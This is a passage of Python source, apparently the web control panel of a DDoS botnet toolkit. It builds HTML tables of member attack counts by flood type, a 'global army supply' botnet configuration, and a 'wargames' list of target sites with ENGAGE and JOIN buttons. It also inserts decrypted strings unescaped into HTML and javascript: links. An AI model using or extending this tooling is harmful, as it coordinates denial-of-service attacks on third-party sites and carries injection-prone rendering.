except:
7364
grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
7365
try:
7366
grid_id = m[17] # id
7367
except:
7368
grid_id = '6666666666666666666666666666666666666' # fake id
7369
elif version == 16:
7370
grid_contact = m[15] # contact
7371
self.decrypt(grid_key, grid_contact)
7372
if self.decryptedtext:
7373
grid_contact = self.decryptedtext
7374
else:
7375
grid_contact = nodec_text
7376
self.decryptedtext = "" # clean decryptedtext buffer
7377
grid_contact = str(grid_contact) # contact
7378
if len(grid_contact) > 120 or len(grid_contact) < 3: # m[15] = grid_contact (>str3<str120)
7379
grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
7380
else:
7381
try:
7382
if " " in grid_contact: # m[15] = grid_contact
7383
grid_contact = grid_contact.replace(" ","")
7384
grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
7385
except:
7386
grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
7387
try:
7388
grid_id = m[16] # id
7389
except:
7390
grid_id = '6666666666666666666666666666666666666' # fake id
7391
elif version == 15:
7392
grid_contact = m[14] # contact
7393
self.decrypt(grid_key, grid_contact)
7394
if self.decryptedtext:
7395
grid_contact = self.decryptedtext
7396
else:
7397
grid_contact = nodec_text
7398
self.decryptedtext = "" # clean decryptedtext buffer
7399
grid_contact = str(grid_contact) # contact
7400
if len(grid_contact) > 120 or len(grid_contact) < 3: # m[14] = grid_contact (>str3<str120)
7401
grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
7402
else:
7403
try:
7404
if " " in grid_contact: # m[14] = grid_contact
7405
grid_contact = grid_contact.replace(" ","")
7406
grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
7407
except:
7408
grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
7409
try:
7410
grid_id = m[15] # id
7411
except:
7412
grid_id = '6666666666666666666666666666666666666' # fake id
7413
elif version == 12:
7414
grid_contact = m[11] # contact
7415
self.decrypt(grid_key, grid_contact)
7416
if self.decryptedtext:
7417
grid_contact = self.decryptedtext
7418
else:
7419
grid_contact = nodec_text
7420
self.decryptedtext = "" # clean decryptedtext buffer
7421
grid_contact = str(grid_contact) # contact
7422
if len(grid_contact) > 120 or len(grid_contact) < 3: # m[11] = grid_contact (>str3<str120)
7423
grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
7424
else:
7425
try:
7426
if " " in grid_contact: # m[11] = grid_contact
7427
grid_contact = grid_contact.replace(" ","")
7428
grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
7429
except:
7430
grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
7431
try:
7432
grid_id = m[12] # id
7433
except:
7434
grid_id = '6666666666666666666666666666666666666' # fake id
7435
elif version == 11:
7436
grid_contact = m[10] # contact
7437
self.decrypt(grid_key, grid_contact)
7438
if self.decryptedtext:
7439
grid_contact = self.decryptedtext
7440
else:
7441
grid_contact = nodec_text
7442
self.decryptedtext = "" # clean decryptedtext buffer
7443
grid_contact = str(grid_contact) # contact
7444
if len(grid_contact) > 120 or len(grid_contact) < 3: # m[10] = grid_contact (>str3<str120)
7445
grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
7446
else:
7447
try:
7448
if " " in grid_contact: # m[10] = grid_contact
7449
grid_contact = grid_contact.replace(" ","")
7450
grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
7451
except:
7452
grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
7453
try:
7454
grid_id = m[11] # id
7455
except:
7456
grid_id = '6666666666666666666666666666666666666' # fake id
7457
elif version == 10:
7458
grid_contact = m[9] # contact
7459
self.decrypt(grid_key, grid_contact)
7460
if self.decryptedtext:
7461
grid_contact = self.decryptedtext
7462
else:
7463
grid_contact = nodec_text
7464
self.decryptedtext = "" # clean decryptedtext buffer
7465
grid_contact = str(grid_contact) # contact
7466
if len(grid_contact) > 120 or len(grid_contact) < 3: # m[9] = grid_contact (>str3<str120)
7467
grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
7468
else:
7469
try:
7470
if " " in grid_contact: # m[9] = grid_contact
7471
grid_contact = grid_contact.replace(" ","")
7472
grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
7473
except:
7474
grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
7475
try:
7476
grid_id = m[10] # id
7477
except:
7478
grid_id = '6666666666666666666666666666666666666' # fake id
7479
else:
7480
grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
7481
grid_id = '6666666666666666666666666666666666666' # fake id
7482
try: # parsing for valid stream struct
7483
grid_ranking = str(grid_ranking)
7484
if grid_ranking == nodec_text: # hide any data when user is encrypted
7485
grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>"
7486
grid_table += "<tr><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(grid_contact)+"</td></tr>"
7487
else:
7488
grid_table += "<tr><td align='center'>"+str(grid_nickname)+"</td><td align='center'>"+str(grid_ranking)+"</td><td align='center'>"+str(grid_totalchargo)+"</td><td align='center'>"+str(grid_dorking)+"</td><td align='center'>"+str(grid_transferred)+"</td><td align='center'>"+str(grid_maxchargo)+"</td><td align='center'>"+str(grid_missions)+"</td><td align='center'>"+str(grid_attacks)+"</td><td align='center'>"+str(grid_loic)+"</td><td align='center'>"+str(grid_loris)+"</td><td align='center'>"+str(grid_ufosyn)+"</td><td align='center'>"+str(grid_spray)+"</td><td align='center'>"+str(grid_smurf)+"</td><td align='center'>"+str(grid_xmas)+"</td><td align='center'>"+str(grid_nuke)+"</td><td align='center'>"+str(grid_tachyon)+"</td><td align='center'>"+str(grid_monlist)+"</td><td align='center'>"+str(grid_fraggle)+"</td><td align='center'>"+str(grid_sniper)+"</td><td align='center'>"+str(grid_ufoack)+"</td><td align='center'>"+str(grid_uforst)+"</td><td align='center'>"+str(grid_droper)+"</td><td align='center'>"+str(grid_overlap)+"</td><td align='center'>"+str(grid_pinger)+"</td><td align='center'>"+str(grid_ufoudp)+"</td><td align='center'>"+str(grid_contact)+"</td></tr>"
7489
except:
7490
grid_table += "<tr><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td></tr>"
7491
grid_table += "</table><br>"
7492
l = time.ctime(os.path.getmtime(self.grid_file)) # get last modified time
7493
mother_table = "<center><u>MOTHERSHIP STATS:</u> (Last Update: <font color='green'>"+str(l)+"</font>)</center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td><font color='green'>MEMBERS:</font></td><td align='right'><font color='green'>"+str(mothership_members)+"</font></td><td><font color='orange' size='4'>-</font></td><td align='right'><font color='orange' size='4'>"+str(unknown_members)+"</font></td><td><font color='white' size='4'>*</font></td><td align='right'><font color='white' size='4'>"+str(member_1)+"</font></td><td><font color='cyan' size='4'>**</font></td><td align='right'><font color='cyan' size='4'>"+str(member_2)+"</font></td><td><font color='blueviolet' size='4'>***</font></td><td align='right'><font color='blueviolet' size='4'>"+str(member_3)+"</font></td><td><font color='blue' size='4'>****</font></td><td align='right'><font color='blue' size='4'>"+str(member_4)+"</font></td><td><font color='red' size='4'>&#x25BC;</font></td><td align='right'><font color='red' size='4'>"+str(member_5)+"</font></td></tr></table><br><table cellpadding='5' cellspacing='5' border='1'><tr><td>MISSIONS:</td><td align='right'>"+str(mothership_missions)+"</td><td>ATTACKS:</td><td align='right'>"+str(mothership_attacks)+"</td><td>CHARGO (ACTIVE!):</td><td align='right'>"+str(mothership_chargo)+"</td><td>DORKING:</td><td align='right'>"+str(mothership_dorking)+"</td><td>TRANSF:</td><td align='right'>"+str(mothership_transferred)+"</td><td>MAX.CHARGO:</td><td align='right'>"+str(mothership_maxchargo)+"</td></tr></table><br><table cellpadding='5' cellspacing='5' border='1'><tr><td>LOIC:</td><td align='right'>"+str(mothership_loic)+"</td><td>LORIS:</td><td align='right'>"+str(mothership_loris)+"</td><td>UFOSYN:</td><td align='right'>"+str(mothership_ufosyn)+"</td><td>SPRAY:</td><td align='right'>"+str(mothership_spray)+"</td><td>SMURF:</td><td align='right'>"+str(mothership_smurf)+"</td></tr><tr><td>XMAS:</td><td align='right'>"+str(mothership_xmas)+"</td><td>NUKE:</td><td align='right'>"+str(mothership_nuke)+"</td><td>TACHYON:</td><td align='right'>"+str(mothership_tachyon)+"</td><td>MONLIST:</td><td align='right'>"+str(mothership_monlist)+"</td></tr><tr><td>FRAGGLE:</td><td align='right'>"+str(mothership_fraggle)+"</td><td>SNIPER:</td><td align='right'>"+str(mothership_sniper)+"</td><td>UFOACK:</td><td align='right'>"+str(mothership_ufoack)+"</td><td>UFORST:</td><td align='right'>"+str(mothership_uforst)+"</td></tr><tr><td>DROPER:</td><td align='right'>"+str(mothership_droper)+"</td><td>OVERLAP:</td><td align='right'>"+str(mothership_overlap)+"</td><td>PINGER:</td><td align='right'>"+str(mothership_pinger)+"</td><td>UFOUDP:</td><td align='right'>"+str(mothership_ufoudp)+"</td></tr></table><br><hr><br>"
7494
f.write(mother_table)
7495
f.write(grid_table)
7496
f.write(end_mark)
7497
f.close()
7498
else: # not valid stream data
7499
pass
7500
if page == "/cmd_decrypt_grid_update":
7501
if not os.path.exists('/tmp/out'):
7502
open('/tmp/out', 'w').close()
7503
with open('/tmp/out', 'r') as f:
7504
self.pages["/cmd_decrypt_grid_update"] = "<pre>"+f.read()+"<pre>"
7505
if page == "/cmd_decrypt_wargames":
7506
self.pages["/cmd_decrypt_wargames"] = "<pre>Waiting for decrypting results...</pre>"
7507
wargames_join_flag = False # anti-join flag for non decrypted wargames
7508
try:
7509
wargames_deckey = pGet["wargames_deckey"]
7510
except:
7511
wargames_deckey = ""
7512
end_mark = "[Info] [AI] End of decryption."
7513
if wargames_deckey != "": # wargames decryption
7514
nodec_text = "KEY?"
7515
try: # read global army supply from configuration file (json)
7516
with open(self.mothership_supplycfg_file) as data_file:
7517
data = json.load(data_file)
7518
except:
7519
if os.path.exists(self.mothership_supplycfg_file) == True:
7520
print('[Error] [AI] Cannot open: "core/json/supplycfg.json" -> [Aborting!]\n')
7521
return
7522
else: # generate default global army supply configuration file
7523
print('[Info] [AI] Cannot found: "core/json/supplycfg.json" -> [Generating!]')
7524
with open(self.mothership_supplycfg_file, "w") as f:
7525
json.dump({"botnet": 1, "loic": 0, "loris": 0, "ufosyn": 0, "spray": 0, "smurf": 0, "xmas": 0, "nuke": 0, "tachyon": 0, "monlist": 0, "fraggle": 0, "sniper": 0, "ufoack": 0, "uforst": 0, "droper": 0, "overlap": 0, "pinger": 0, "ufoudp": 0}, f, indent=4)
7526
with open(self.mothership_supplycfg_file) as data_file:
7527
data = json.load(data_file)
7528
self.supply_botnet = data["botnet"]
7529
self.supply_loic = data["loic"]
7530
self.supply_loris = data["loris"]
7531
self.supply_ufosyn = data["ufosyn"]
7532
self.supply_spray = data["spray"]
7533
self.supply_smurf = data["smurf"]
7534
self.supply_xmas = data["xmas"]
7535
self.supply_nuke = data["nuke"]
7536
self.supply_tachyon = data["tachyon"]
7537
self.supply_monlist = data["monlist"]
7538
self.supply_fraggle = data["fraggle"]
7539
self.supply_sniper = data["sniper"]
7540
self.supply_ufoack = data["ufoack"]
7541
self.supply_uforst = data["uforst"]
7542
self.supply_droper = data["droper"]
7543
self.supply_overlap = data["overlap"]
7544
self.supply_pinger = data["pinger"]
7545
self.supply_ufoudp = data["ufoudp"]
7546
f = open(self.wargames_file,"r")
7547
ls = f.readlines()
7548
f.close()
7549
if ls:
7550
wargames_autopanel = "<u>MASSIVE ACTION</u>:<br><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><button title='Remove ALL: -CLOSED-' onclick=JobRemoveAll('"+str(wargames_deckey)+"')>-PURGE-</button></td><td align='center'><button style='background-color:cyan;height:50px;width:120px' title='Engage ALL: -ONGOING-' onclick=JobAddAll()>ENGAGE ALL!</button></td><td align='center'><button style='background-color:red;height:50px;width:120px' title='Cancel ALL: JOINED!' onclick=JobCancelAll()>PANIC!!!</button></td></tr></table><br><br>"
7551
wargames_supply = "<u>GLOBAL ARMY SUPPLY (rounds)</u>:<br><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'>BOTNET ("+str(self.total_botnet)+"):</td><td align='center'>LOIC:</td><td align='center'>LORIS:</td><td align='center'>UFOSYN:</td><td align='center'>SPRAY:</td><td align='center'>FRAGGLE:</td><td align='center'>SNIPER:</td><td align='center'>UFOACK:</td><td align='center'>UFORST:</td></tr><tr><td align='center'><input type='number' min='1' max='99999' required id='supply_botnet' value='"+str(self.supply_botnet)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_loic' value='"+str(self.supply_loic)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_loris' value='"+str(self.supply_loris)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_ufosyn' value='"+str(self.supply_ufosyn)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_spray' value='"+str(self.supply_spray)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_fraggle' value='"+str(self.supply_fraggle)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_sniper' value='"+str(self.supply_sniper)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_ufoack' value='"+str(self.supply_ufoack)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_uforst' value='"+str(self.supply_uforst)+"' style='text-align: center;' readonly></td></tr><tr><td align='center'>SMURF:</td><td align='center'>XMAS:</td><td align='center'>NUKE:</td><td align='center'>TACHYON:</td><td align='center'>MONLIST:</td><td align='center'>DROPER:</td><td align='center'>OVERLAP:</td><td align='center'>PINGER:</td><td align='center'>UFOUDP:</td></tr><tr><td align='center'><input type='number' min='0' max='99999' required id='supply_smurf' value='"+str(self.supply_smurf)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_xmas' value='"+str(self.supply_xmas)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_nuke' value='"+str(self.supply_nuke)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_tachyon' value='"+str(self.supply_tachyon)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_monlist' value='"+str(self.supply_monlist)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_droper' value='"+str(self.supply_droper)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_overlap' value='"+str(self.supply_overlap)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_pinger' value='"+str(self.supply_pinger)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_ufoudp' value='"+str(self.supply_ufoudp)+"' style='text-align: center;' readonly></td><td align='center'><button id='supply_edit' title='Edit global army supply...' value='EDIT' onclick=EditSupply()>EDIT</button></td></tr></table><br><br>"
7552
else:
7553
wargames_autopanel = ""
7554
wargames_supply = ""
7555
wargames_table = wargames_autopanel + wargames_supply +"<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_creation' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('creation','"+str(wargames_deckey)+"');>CREATION:</a></td><td align='center'><a id='filter_target' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('target','"+str(wargames_deckey)+"')>TARGET:</a></td><td align='center'><a id='filter_estimated' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('estimated','"+str(wargames_deckey)+"')>DATE:</a></td><td align='center'><u>ETA:</u></td><td align='center'><u>ACTION:</u></td><td align='center'><u>STATUS:</u></td></tr>"
7556
f = open("/tmp/out", "w")
7557
self.list_wargames_rev = reversed(self.list_wargames) # order by DESC
7558
wargames_id = 1
7559
for m in self.list_wargames_rev: # list = creation, target, estimated
7560
if wargames_msg_sep in m:
7561
m = m.split(wargames_msg_sep)
7562
wargames_creation = m[0] # creation date
7563
self.decrypt(wargames_deckey, wargames_creation)
7564
if self.decryptedtext:
7565
wargames_creation = self.decryptedtext
7566
else:
7567
wargames_creation = nodec_text
7568
self.decryptedtext = "" # clean decryptedtext buffer
7569
wargames_target = m[1] # target
7570
wargames_target_joined = wargames_target
7571
self.decrypt(wargames_deckey, wargames_target)
7572
if self.decryptedtext:
7573
wargames_target = self.decryptedtext
7574
if wargames_target.startswith("www."):
7575
wargames_target = wargames_target.replace("www.","")
7576
else:
7577
wargames_target = nodec_text
7578
self.decryptedtext = "" # clean decryptedtext buffer
7579
wargames_estimated = m[2] # estimated time
7580
self.decrypt(wargames_deckey, wargames_estimated)
7581
if self.decryptedtext:
7582
wargames_estimated = self.decryptedtext
7583
wargames_join_flag = True
7584
else:
7585
wargames_estimated = nodec_text
7586
self.decryptedtext = "" # clean decryptedtext buffer
7587
else:
7588
wargames_target = "KEY?"
7589
now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
7590
now = strptime(now, "%d-%m-%Y %H:%M:%S")
7591
try:
7592
wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
7593
wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
7594
except: # discarding errors also on panel
7595
wargames_creation = now
7596
wargames_estimated = now
7597
if wargames_target == "KEY?": # allow to discard unencrypted wargames
7598
wargames_creation = now
7599
wargames_estimated = now
7600
if (now >= wargames_estimated) == False: # change flag color when time is out
7601
time_now = time.mktime(now)
7602
time_estimated = time.mktime(wargames_estimated)
7603
wargames_eta = (time_estimated - time_now)
7604
hours, rem = divmod(wargames_eta, 3600)
7605
minutes, seconds = divmod(rem, 60)
7606
if "!!!" in wargames_target_joined:
7607
status = "JOINED!"
7608
wargames_status = "<font color='cyan'>"+status+"</font>"
7609
if wargames_join_flag == True:
7610
wargames_join = "<button id="+str(wargames_id)+" title='Cancel this battle...' onclick=JobCancel('"+str(wargames_id)+"')>CANCEL</button>"
7611
else:
7612
wargames_join = "KEY?" # present but with a different crypto-key
7613
wargames_eta = "<font color='cyan'>{:0>2}h {:0>2}m {:02}s</font>".format(int(hours),int(minutes),int(seconds))
7614
wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
7615
time_flag = "<font color='cyan'>"+str(wargames_estimated)+"</font>"
7616
wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
7617
creation_flag = "<font color='cyan'>"+str(wargames_creation)+"</font>"
7618
else:
7619
status = "-ONGOING-"
7620
wargames_status = "<font color='orange'>"+status+"</font>"
7621
if wargames_join_flag == True:
7622
wargames_join = "<button id="+str(wargames_id)+" title='Join this battle...' onclick=JobAdd('"+str(wargames_id)+"')>ENGAGE!</button>"
7623
else:
7624
wargames_join = "KEY?" # present but with a different crypto-key
7625
wargames_eta = "<font color='orange'>{:0>2}h {:0>2}m {:02}s</font>".format(int(hours),int(minutes),int(seconds))
7626
wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
7627
time_flag = "<font color='orange'>"+str(wargames_estimated)+"</font>"
7628
wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
7629
creation_flag = "<font color='orange'>"+str(wargames_creation)+"</font>"
7630
else:
7631
wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
7632
time_flag = "<font color='red'><s>"+str(wargames_estimated)+"</s></font>"
7633
wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
7634
creation_flag = "<font color='red'>"+str(wargames_creation)+"</font>"
7635
wargames_join = "<button id="+str(wargames_id)+" title='Remove this battle...' onclick=JobRemove('"+str(wargames_id)+"')>REMOVE</button>"
7636
wargames_eta = "<font color='red'>OUT-OF-TIME</font>"
7637
status = "-CLOSED-"
7638
wargames_status = "<font color='red'>"+status+"</font>"
7639
wargames_table += "<tr><td align='center'>"+creation_flag+"</td><td align='center'><a href='http://"+str(wargames_target)+"' target='_blank'>"+str(wargames_target)+"</a></td><td align='center'>"+time_flag+"</td><td align='center'>"+wargames_eta+"</td><td align='center'>"+wargames_join+"</td><td align='center'>"+wargames_status+"</td></tr>"
7640
wargames_id = wargames_id + 1
7641
wargames_table += "</table><br>"
7642
f.write(wargames_table)
7643
f.write(end_mark)
7644
f.close()
7645
if page == "/cmd_decrypt_wargames_update":
7646
if not os.path.exists('/tmp/out'):
7647
open('/tmp/out', 'w').close()
7648
with open('/tmp/out', 'r') as f:
7649
self.pages["/cmd_decrypt_wargames_update"] = "<pre>"+f.read()+"<pre>"
7650
if page == "/cmd_decrypt_links":
7651
self.pages["/cmd_decrypt_links"] = "<pre>Waiting for decrypting results...</pre>"
7652
try:
7653
link_deckey = pGet["link_deckey"]
7654
except:
7655
link_deckey = ""
7656
end_mark = "[Info] [AI] End of decryption."
7657
if link_deckey != "": # links decryption
7658
nodec_text = "This LINK cannot be solved with that KEY..."
7659
links_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_creation' style='color:red;text-decoration:underline red;' onclick=javascript:LinkFilter('creation','"+str(link_deckey)+"');>CREATION:</a></td><td align='center'><a id='filter_topic' style='color:red;text-decoration:underline red;' onclick=javascript:LinkFilter('topic','"+str(link_deckey)+"')>TOPIC:</a></td><td align='center'><a id='filter_url' style='color:red;text-decoration:underline red;' onclick=javascript:LinkFilter('url','"+str(link_deckey)+"')>URL:</a></td></tr>"
7660
f = open("/tmp/out", "w")
7661
self.list_links_rev = reversed(self.list_links) # order by DESC
7662
for m in self.list_links_rev: # list = creation, topic, url
7663
if links_msg_sep in m:
7664
m = m.split(links_msg_sep)
7665
link_creation = m[0] # creation date
7666
self.decrypt(link_deckey, link_creation)
7667
if self.decryptedtext:
7668
link_creation = self.decryptedtext
7669
else:
7670
link_creation = nodec_text
7671
self.decryptedtext = "" # clean decryptedtext buffer
7672
link_url = m[1] # url
7673
self.decrypt(link_deckey, link_url)
7674
if self.decryptedtext:
7675
link_url = self.decryptedtext
7676
if link_url.startswith("www."):
7677
link_url = link_url.replace("www.","")
7678
else:
7679
link_url = nodec_text
7680
self.decryptedtext = "" # clean decryptedtext buffer
7681
link_topic = m[2] # topic
7682
self.decrypt(link_deckey, link_topic)
7683
if self.decryptedtext:
7684
link_topic = self.decryptedtext
7685
else:
7686
link_topic = nodec_text
7687
self.decryptedtext = "" # clean decryptedtext buffer
7688
else:
7689
link_creation = nodec_text
7690
link_url = nodec_text
7691
link_topic = nodec_text
7692
if link_creation == nodec_text:
7693
links_table += "<tr><td align='center'>KEY?</td><td align='center'>"+nodec_text+"</td><td align='center'>KEY?</td></tr>"
7694
else:
7695
links_table += "<tr><td align='center'>"+link_creation+"</td><td align='center'>"+link_topic+"</td><td align='center'><a href='"+str(link_url)+"' target='_blank'>"+str(link_url)+"</a></td></tr>"
7696
links_table += "</table><br>"
7697
f.write(links_table)
7698
f.write(end_mark)
7699
f.close()
7700
if page == "/cmd_decrypt_links_update":
7701
if not os.path.exists('/tmp/out'):
7702
open('/tmp/out', 'w').close()
7703
with open('/tmp/out', 'r') as f:
7704
self.pages["/cmd_decrypt_links_update"] = "<pre>"+f.read()+"<pre>"
7705
if page == "/cmd_decrypt_streams":
7706
self.pages["/cmd_decrypt_streams"] = "<pre>Waiting for decrypting results...</pre>"
7707
try:
7708
stream_deckey = pGet["stream_deckey"]
7709
except:
7710
stream_deckey = ""
7711
end_mark = "[Info] [AI] End of decryption."
7712
if stream_deckey != "": # streams decryption
7713
nodec_text = "This STREAM cannot be solved with that KEY..."
7714
streams_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_creation' style='color:red;text-decoration:underline red;' onclick=javascript:StreamFilter('creation','"+str(stream_deckey)+"');>CREATION:</a></td><td align='center'><a id='filter_topic' style='color:red;text-decoration:underline red;' onclick=javascript:StreamFilter('topic','"+str(stream_deckey)+"')>TOPIC:</a></td><td align='center'><a id='filter_url' style='color:red;text-decoration:underline red;' onclick=javascript:StreamFilter('url','"+str(stream_deckey)+"')>STREAM:</a></td><td align='center'>VIDEO:</td></tr>"
7715
f = open("/tmp/out", "w")
7716
self.list_streams_rev = reversed(self.list_streams) # order by DESC
7717
stream_num = 0
7718
for m in self.list_streams_rev: # list = creation, topic, url
7719
if streams_msg_sep in m:
7720
m = m.split(streams_msg_sep)
7721
stream_creation = m[0] # creation date
7722
self.decrypt(stream_deckey, stream_creation)
7723
if self.decryptedtext:
7724
stream_creation = self.decryptedtext
7725
else:
7726
stream_creation = nodec_text
7727
self.decryptedtext = "" # clean decryptedtext buffer
7728
stream_url = m[1] # url
7729
self.decrypt(stream_deckey, stream_url)
7730
if self.decryptedtext:
7731
stream_url = self.decryptedtext
7732
if stream_url.startswith("www."):
7733
stream_url = stream_url.replace("www.","")
7734
else:
7735
stream_url = nodec_text
7736
self.decryptedtext = "" # clean decryptedtext buffer
7737
stream_topic = m[2] # topic
7738
self.decrypt(stream_deckey, stream_topic)
7739
if self.decryptedtext:
7740
stream_topic = self.decryptedtext
7741
else:
7742
stream_topic = nodec_text
7743
self.decryptedtext = "" # clean decryptedtext buffer
7744
stream_id = str(stream_url.split("v=")[1]) # extract (Youtube) VideoID
7745
stream_num = stream_num + 1
7746
else:
7747
stream_creation = nodec_text
7748
stream_url = nodec_text
7749
stream_topic = nodec_text
7750
stream_id = None
7751
if stream_creation == nodec_text:
7752
streams_table += "<tr><td align='center'>KEY?</td><td align='center'>"+nodec_text+"</td><td align='center'>KEY?</td><td align='center'>KEY?</td></tr>"
7753
else:
7754
streams_table += "<tr><td align='center'>"+stream_creation+"</td><td align='center'>"+stream_topic+"</td><td align='center'><a href='"+str(stream_url)+"' target='_blank'>"+str(stream_url)+"</a></td><td align='center'><button id='play_button_"+str(stream_num)+"' value='"+str(stream_id)+"' onclick='PlayStream("+str(stream_num)+");return false;'>PLAY!</button><div id='video_"+str(stream_num)+"'></div></td></tr>"
7755
streams_table += "</table><br>"
7756
f.write(streams_table)
7757
f.write(end_mark)
7758
f.close()
7759
if page == "/cmd_decrypt_streams_update":
7760
if not os.path.exists('/tmp/out'):
7761
open('/tmp/out', 'w').close()
7762
with open('/tmp/out', 'r') as f:
7763
self.pages["/cmd_decrypt_streams_update"] = "<pre>"+f.read()+"<pre>"
7764
if page == "/cmd_decrypt_tv":
7765
self.pages["/cmd_decrypt_tv"] = "<pre>Waiting for decrypting results...</pre>"
7766
try:
7767
tv_deckey = pGet["tv_deckey"]
7768
except:
7769
tv_deckey = ""
7770
end_mark = "[Info] [AI] End of decryption."
7771
if tv_deckey != "": # tv decryption
7772
nodec_text = "*** [This TV.PEER cannot be solved with that KEY...]"
7773
self.playlist = []
7774
self.list_tv_rev = reversed(self.list_tv) # order by DESC
7775
if self.list_tv:
7776
tv_table = '<table cellpadding="35" cellspacing="35" border="1"><tr><td><u>PLAYLIST:</u><br><br><ul>'
7777
else:
7778
tv_table = '<table border="0"><tr><td>Never connected to any feed...</u><ul>'
7779
f = open("/tmp/out", "w")
7780
tv_num = 0
7781
self.playing_title = ""
7782
for n in self.list_tv_rev: # list = url
7783
url_tv = n # url
7784
try:
7785
self.decrypt(tv_deckey, url_tv)
7786
if self.decryptedtext:
7787
url_tv = self.decryptedtext
7788
if url_tv != "1": # black magic!
7789
self.playlist.append(url_tv)
7790
else:
7791
url_tv = nodec_text
7792
else:
7793
url_tv = nodec_text
7794
except:
7795
url_tv = nodec_text
7796
self.decryptedtext = "" # clean decryptedtext buffer
7797
if url_tv != nodec_text:
7798
if url_tv.endswith(".ogv"): # remote .ogv
7799
o = urlparse(url_tv)
7800
start = '/'
7801
end = '.ogv'
7802
s = o.path
7803
r = re.compile(start+'(.*?)'+end)
7804
